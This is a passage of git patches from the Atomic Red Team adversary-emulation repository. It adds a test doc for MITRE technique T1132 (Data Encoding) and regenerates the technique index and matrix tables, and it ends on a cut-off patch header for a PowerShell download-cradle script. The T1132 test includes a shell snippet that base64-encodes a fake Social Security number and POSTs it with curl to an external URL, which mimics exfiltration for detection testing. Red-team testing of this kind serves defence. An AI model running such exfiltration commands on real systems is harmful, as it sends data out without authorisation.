[CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Process Doppelgänging [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | | | | Service Registry Permissions Weakness [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Process Hollowing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | From 19dbbc1b3050759677409c9bce6459e44575d6f6 Mon Sep 17 00:00:00 2001 From: CircleCI Atomic Red Team doc generator Date: Fri, 6 Jul 2018 19:56:44 +0000 Subject: [PATCH 89/91] Generate docs from job=validate_atomics_generate_docs branch=master --- atomics/T1132/T1132.md | 41 +++++++++++++++++++++++++++++++++++++++ atomics/index.md | 3 ++- atomics/linux-index.md | 3 ++- atomics/linux-matrix.md | 2 +- atomics/macos-index.md | 3 ++- atomics/macos-matrix.md | 2 +- atomics/matrix.md | 2 +- atomics/windows-index.md | 2 +- atomics/windows-matrix.md | 2 +- 9 files changed, 52 insertions(+), 8 deletions(-) create mode 100644 atomics/T1132/T1132.md diff --git a/atomics/T1132/T1132.md b/atomics/T1132/T1132.md new file mode 100644 index 00000000..c6f67da4 --- /dev/null +++ b/atomics/T1132/T1132.md @@ -0,0 +1,41 @@ +# T1132 - Data Encoding +## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1132) +
    Command and control (C2) information is encoded using a standard data encoding system. Use of data encoding may be to adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, UTF-8, or other binary-to-text and character encoding systems. (Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip. + +Detection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) + +Platforms: Linux, macOS, Windows + +Data Sources: Packet capture, Process use of network, Process Monitoring, Network protocol analysis + +Permissions Required: User + +Requires Network: Yes + +Contributors: Itzik Kotler, SafeBreach
    + +## Atomic Tests + +- [Atomic Test #1 - Base64 Encoded data.](#atomic-test-1---base64-encoded-data) + + +
    + +## Atomic Test #1 - Base64 Encoded data. +Utilizing a common technique for posting base64 encoded data. + +**Supported Platforms:** macOS, Linux + + +#### Inputs +| Name | Description | Type | Default Value | +|------|-------------|------|---------------| +| destination_url | Destination URL to post encoded data. | string | redcanary.com| +| base64_data | Encoded data to post using fake Social Security number 111-11-1111. | string | MTExLTExLTExMTE=| + +#### Run it with `sh`! +``` +echo -n 111-11-1111 | base64 +curl -XPOST #{base64_data}.#{destination_url} +``` +
    diff --git a/atomics/index.md b/atomics/index.md index 113a1784..75670230 100644 --- a/atomics/index.md +++ b/atomics/index.md @@ -577,7 +577,8 @@ - T1090 Connection Proxy [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1094 Custom Command and Control Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1024 Custom Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- T1132 Data Encoding [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1132 Data Encoding](./T1132/T1132.md) + - Atomic Test #1: Base64 Encoded data. [macos, linux] - T1001 Data Obfuscation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1172 Domain Fronting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1008 Fallback Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) diff --git a/atomics/linux-index.md b/atomics/linux-index.md index 3f46854a..1ea60a2d 100644 --- a/atomics/linux-index.md +++ b/atomics/linux-index.md @@ -188,7 +188,8 @@ - T1090 Connection Proxy [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1094 Custom Command and Control Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1024 Custom Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- T1132 Data Encoding [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1132 Data Encoding](./T1132/T1132.md) + - Atomic Test #1: Base64 Encoded data. [macos, linux] - T1001 Data Obfuscation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1172 Domain Fronting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1008 Fallback Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) diff --git a/atomics/linux-matrix.md b/atomics/linux-matrix.md index b240deea..3849bac9 100644 --- a/atomics/linux-matrix.md +++ b/atomics/linux-matrix.md @@ -6,7 +6,7 @@ | Hardware Additions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Graphical User Interface [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Browser Extensions](./T1176/T1176.md) | [Setuid and Setgid](./T1166/T1166.md) | [Disabling Security Tools](./T1089/T1089.md) | [Credentials in Files](./T1081/T1081.md) | [File and Directory Discovery](./T1083/T1083.md) | [Remote File Copy](./T1105/T1105.md) | [Clipboard Data](./T1115/T1115.md) | [Data Encrypted](./T1022/T1022.md) | Connection Proxy [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Spearphishing Attachment](./T1193/T1193.md) | [Local Job Scheduling](./T1168/T1168.md) | [Create Account](./T1136/T1136.md) | [Sudo](./T1169/T1169.md) | Exploitation for Defense Evasion [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Credential Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Network Service Scanning](./T1046/T1046.md) | Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Data Staged](./T1074/T1074.md) | [Data Transfer Size Limits](./T1030/T1030.md) | Custom Command and Control Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Spearphishing Link [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Scripting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Hidden Files and Directories](./T1158/T1158.md) | Sudo Caching [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [File Deletion](./T1107/T1107.md) | [Input Capture](./T1056/T1056.md) | [Password Policy Discovery](./T1201/T1201.md) | SSH Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Information Repositories [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Exfiltration Over Alternative Protocol](./T1048/T1048.md) | Custom Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| Spearphishing via Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Source [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Kernel Modules and Extensions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [HISTCONTROL](./T1148/T1148.md) | [Network Sniffing](./T1040/T1040.md) | [Permission Groups Discovery](./T1069/T1069.md) | Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Local System [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Command and Control Channel [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data Encoding [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Spearphishing via Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Source [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Kernel Modules and Extensions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [HISTCONTROL](./T1148/T1148.md) | [Network Sniffing](./T1040/T1040.md) | [Permission Groups Discovery](./T1069/T1069.md) | Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Local System [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Command and Control Channel [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Data Encoding](./T1132/T1132.md) | | Supply Chain Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Space after Filename](./T1151/T1151.md) | [Local Job Scheduling](./T1168/T1168.md) | Web Shell [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Hidden Files and Directories](./T1158/T1158.md) | [Private Keys](./T1145/T1145.md) | [Process Discovery](./T1057/T1057.md) | | Data from Network Shared Drive [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Other Network Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data Obfuscation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Trusted Relationship [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Indicator Removal from Tools [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Two-Factor Authentication Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Remote System Discovery](./T1018/T1018.md) | | Data from Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Physical Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Domain Fronting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Trap](./T1154/T1154.md) | Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Indicator Removal on Host](./T1070/T1070.md) | | [System Information Discovery](./T1082/T1082.md) | | [Input Capture](./T1056/T1056.md) | Scheduled Transfer [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Fallback Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | diff --git a/atomics/macos-index.md b/atomics/macos-index.md index 3df47cce..13b96add 100644 --- a/atomics/macos-index.md +++ b/atomics/macos-index.md @@ -230,7 +230,8 @@ - T1090 Connection Proxy [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1094 Custom Command and Control Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1024 Custom Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- T1132 Data Encoding [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1132 Data Encoding](./T1132/T1132.md) + - Atomic Test #1: Base64 Encoded data. [macos, linux] - T1001 Data Obfuscation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1172 Domain Fronting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1008 Fallback Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) diff --git a/atomics/macos-matrix.md b/atomics/macos-matrix.md index 87bf5369..4ffce0a1 100644 --- a/atomics/macos-matrix.md +++ b/atomics/macos-matrix.md @@ -6,7 +6,7 @@ | Hardware Additions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Client Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Create Account](./T1136/T1136.md) | [Launch Daemon](./T1160/T1160.md) | Code Signing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Credentials in Files](./T1081/T1081.md) | Browser Bookmark Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation of Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Clipboard Data](./T1115/T1115.md) | [Data Encrypted](./T1022/T1022.md) | Connection Proxy [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Spearphishing Attachment](./T1193/T1193.md) | Graphical User Interface [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Dylib Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Plist Modification](./T1150/T1150.md) | [Disabling Security Tools](./T1089/T1089.md) | Exploitation for Credential Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [File and Directory Discovery](./T1083/T1083.md) | [Logon Scripts](./T1037/T1037.md) | [Data Staged](./T1074/T1074.md) | [Data Transfer Size Limits](./T1030/T1030.md) | Custom Command and Control Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Spearphishing Link [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Launchctl](./T1152/T1152.md) | [Hidden Files and Directories](./T1158/T1158.md) | [Process Injection](./T1055/T1055.md) | Exploitation for Defense Evasion [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Input Capture](./T1056/T1056.md) | [Network Service Scanning](./T1046/T1046.md) | [Remote File Copy](./T1105/T1105.md) | Data from Information Repositories [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Exfiltration Over Alternative Protocol](./T1048/T1048.md) | Custom Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| Spearphishing via Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Local Job Scheduling](./T1168/T1168.md) | Kernel Modules and Extensions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Setuid and Setgid](./T1166/T1166.md) | [File Deletion](./T1107/T1107.md) | [Input Prompt](./T1141/T1141.md) | [Network Share Discovery](./T1135/T1135.md) | Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Local System [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Command and Control Channel [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data Encoding [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Spearphishing via Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Local Job Scheduling](./T1168/T1168.md) | Kernel Modules and Extensions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Setuid and Setgid](./T1166/T1166.md) | [File Deletion](./T1107/T1107.md) | [Input Prompt](./T1141/T1141.md) | [Network Share Discovery](./T1135/T1135.md) | Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Local System [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Command and Control Channel [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Data Encoding](./T1132/T1132.md) | | Supply Chain Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Scripting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | LC_LOAD_DYLIB Addition [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Startup Items](./T1165/T1165.md) | [Gatekeeper Bypass](./T1144/T1144.md) | [Keychain](./T1142/T1142.md) | [Password Policy Discovery](./T1201/T1201.md) | SSH Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Network Shared Drive [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Other Network Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data Obfuscation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Trusted Relationship [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Source [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Launch Agent](./T1159/T1159.md) | [Sudo](./T1169/T1169.md) | [HISTCONTROL](./T1148/T1148.md) | [Network Sniffing](./T1040/T1040.md) | [Permission Groups Discovery](./T1069/T1069.md) | Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Physical Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Domain Fronting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Space after Filename](./T1151/T1151.md) | [Launch Daemon](./T1160/T1160.md) | Sudo Caching [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Hidden Files and Directories](./T1158/T1158.md) | [Private Keys](./T1145/T1145.md) | [Process Discovery](./T1057/T1057.md) | | [Input Capture](./T1056/T1056.md) | Scheduled Transfer [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Fallback Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | diff --git a/atomics/matrix.md b/atomics/matrix.md index 912b69ea..79ede9c8 100644 --- a/atomics/matrix.md +++ b/atomics/matrix.md @@ -6,7 +6,7 @@ | Hardware Additions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Command-Line Interface](./T1059/T1059.md) | AppCert DLLs [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | AppCert DLLs [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Binary Padding [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Brute Force](./T1110/T1110.md) | Browser Bookmark Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Distributed Component Object Model [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Clipboard Data](./T1115/T1115.md) | [Data Encrypted](./T1022/T1022.md) | Connection Proxy [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Replication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Control Panel Items [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [AppInit DLLs](./T1103/T1103.md) | [AppInit DLLs](./T1103/T1103.md) | Bypass User Account Control [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Credential Dumping](./T1003/T1003.md) | [File and Directory Discovery](./T1083/T1083.md) | Exploitation of Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Data Staged](./T1074/T1074.md) | [Data Transfer Size Limits](./T1030/T1030.md) | Custom Command and Control Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Spearphishing Attachment](./T1193/T1193.md) | [Dynamic Data Exchange](./T1173/T1173.md) | [Application Shimming](./T1138/T1138.md) | [Application Shimming](./T1138/T1138.md) | [CMSTP](./T1191/T1191.md) | [Credentials in Files](./T1081/T1081.md) | [Network Service Scanning](./T1046/T1046.md) | [Logon Scripts](./T1037/T1037.md) | Data from Information Repositories [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Exfiltration Over Alternative Protocol](./T1048/T1048.md) | Custom Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| Spearphishing Link [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Execution through API [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Authentication Package [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Bypass User Account Control [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Clear Command History](./T1146/T1146.md) | [Credentials in Registry](./T1214/T1214.md) | [Network Share Discovery](./T1135/T1135.md) | [Pass the Hash](./T1075/T1075.md) | Data from Local System [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Command and Control Channel [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data Encoding [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Spearphishing Link [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Execution through API [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Authentication Package [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Bypass User Account Control [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Clear Command History](./T1146/T1146.md) | [Credentials in Registry](./T1214/T1214.md) | [Network Share Discovery](./T1135/T1135.md) | [Pass the Hash](./T1075/T1075.md) | Data from Local System [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Command and Control Channel [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Data Encoding](./T1132/T1132.md) | | Spearphishing via Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Execution through Module Load [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [BITS Jobs](./T1197/T1197.md) | DLL Search Order Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Code Signing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Credential Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Password Policy Discovery](./T1201/T1201.md) | Pass the Ticket [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Network Shared Drive [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Other Network Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data Obfuscation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Supply Chain Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Client Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Bootkit [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Dylib Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Component Firmware [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Forced Authentication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Peripheral Device Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Remote Desktop Protocol](./T1076/T1076.md) | Data from Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Physical Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Domain Fronting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Trusted Relationship [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Graphical User Interface [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Browser Extensions](./T1176/T1176.md) | Exploitation for Privilege Escalation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Component Object Model Hijacking](./T1122/T1122.md) | [Hooking](./T1179/T1179.md) | [Permission Groups Discovery](./T1069/T1069.md) | [Remote File Copy](./T1105/T1105.md) | Email Collection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Scheduled Transfer [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Fallback Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | diff --git a/atomics/windows-index.md b/atomics/windows-index.md index a590b7b9..d266deb2 100644 --- a/atomics/windows-index.md +++ b/atomics/windows-index.md @@ -413,7 +413,7 @@ - T1090 Connection Proxy [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1094 Custom Command and Control Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1024 Custom Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- T1132 Data Encoding [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1132 Data Encoding](./T1132/T1132.md) - T1001 Data Obfuscation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1172 Domain Fronting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1008 Fallback Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) diff --git a/atomics/windows-matrix.md b/atomics/windows-matrix.md index c858c4a1..3748f8f6 100644 --- a/atomics/windows-matrix.md +++ b/atomics/windows-matrix.md @@ -6,7 +6,7 @@ | Hardware Additions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Control Panel Items [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [AppInit DLLs](./T1103/T1103.md) | AppCert DLLs [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Binary Padding [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Credential Dumping](./T1003/T1003.md) | Browser Bookmark Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation of Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Clipboard Data](./T1115/T1115.md) | [Data Encrypted](./T1022/T1022.md) | Connection Proxy [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Replication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Dynamic Data Exchange](./T1173/T1173.md) | [Application Shimming](./T1138/T1138.md) | [AppInit DLLs](./T1103/T1103.md) | Bypass User Account Control [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Credentials in Files](./T1081/T1081.md) | [File and Directory Discovery](./T1083/T1083.md) | [Logon Scripts](./T1037/T1037.md) | [Data Staged](./T1074/T1074.md) | [Data Transfer Size Limits](./T1030/T1030.md) | Custom Command and Control Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Spearphishing Attachment](./T1193/T1193.md) | Execution through API [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Authentication Package [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Application Shimming](./T1138/T1138.md) | [CMSTP](./T1191/T1191.md) | [Credentials in Registry](./T1214/T1214.md) | [Network Service Scanning](./T1046/T1046.md) | [Pass the Hash](./T1075/T1075.md) | Data from Information Repositories [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Exfiltration Over Alternative Protocol](./T1048/T1048.md) | Custom Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| Spearphishing Link [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Execution through Module Load [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [BITS Jobs](./T1197/T1197.md) | Bypass User Account Control [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Code Signing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Credential Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Network Share Discovery](./T1135/T1135.md) | Pass the Ticket [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Local System [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Command and Control Channel [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data Encoding [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Spearphishing Link [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Execution through Module Load [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [BITS Jobs](./T1197/T1197.md) | Bypass User Account Control [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Code Signing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Credential Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Network Share Discovery](./T1135/T1135.md) | Pass the Ticket [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Local System [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Command and Control Channel [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Data Encoding](./T1132/T1132.md) | | Spearphishing via Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Client Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Bootkit [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | DLL Search Order Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Component Firmware [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Forced Authentication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Password Policy Discovery](./T1201/T1201.md) | [Remote Desktop Protocol](./T1076/T1076.md) | Data from Network Shared Drive [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Other Network Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data Obfuscation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Supply Chain Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Graphical User Interface [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Browser Extensions](./T1176/T1176.md) | Exploitation for Privilege Escalation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Component Object Model Hijacking](./T1122/T1122.md) | [Hooking](./T1179/T1179.md) | Peripheral Device Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Remote File Copy](./T1105/T1105.md) | Data from Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Physical Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Domain Fronting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Trusted Relationship [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [InstallUtil](./T1118/T1118.md) | [Change Default File Association](./T1042/T1042.md) | Extra Window Memory Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Control Panel Items [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Input Capture](./T1056/T1056.md) | [Permission Groups Discovery](./T1069/T1069.md) | Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Email Collection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Scheduled Transfer [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Fallback Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | From f5a5aa8d6ada50dfb4c6dd9a2fb2c03b8a4df183 Mon Sep 17 00:00:00 2001 From: Michael Haag <“mike@redcanary.com git config --global user.name “Michael Haag> Date: Mon, 9 Jul 2018 12:52:07 -0400 Subject: [PATCH 90/91] Add Invoke-DownloadCradle by @mgreen27 Added @mgreen27 Invoke-DownloadCradle as method to run additional endpoint and network tests using Powershell. --- atomics/T1086/Invoke-DownloadCradle.ps1 | 295 ++++++++++++++++++++++++ atomics/T1086/T1086.yaml | 72 ++++++ atomics/T1086/payloads/mshta.sct | 33 +++ atomics/T1086/payloads/test.ps1 | 2 + atomics/T1086/payloads/test.sct | 14 ++ atomics/T1086/payloads/test.xml | 6 + atomics/T1086/payloads/test.xsl | 11 + 7 files changed, 433 insertions(+) create mode 100755 atomics/T1086/Invoke-DownloadCradle.ps1 create mode 100755 atomics/T1086/payloads/mshta.sct create mode 100755 atomics/T1086/payloads/test.ps1 create mode 100755 atomics/T1086/payloads/test.sct create mode 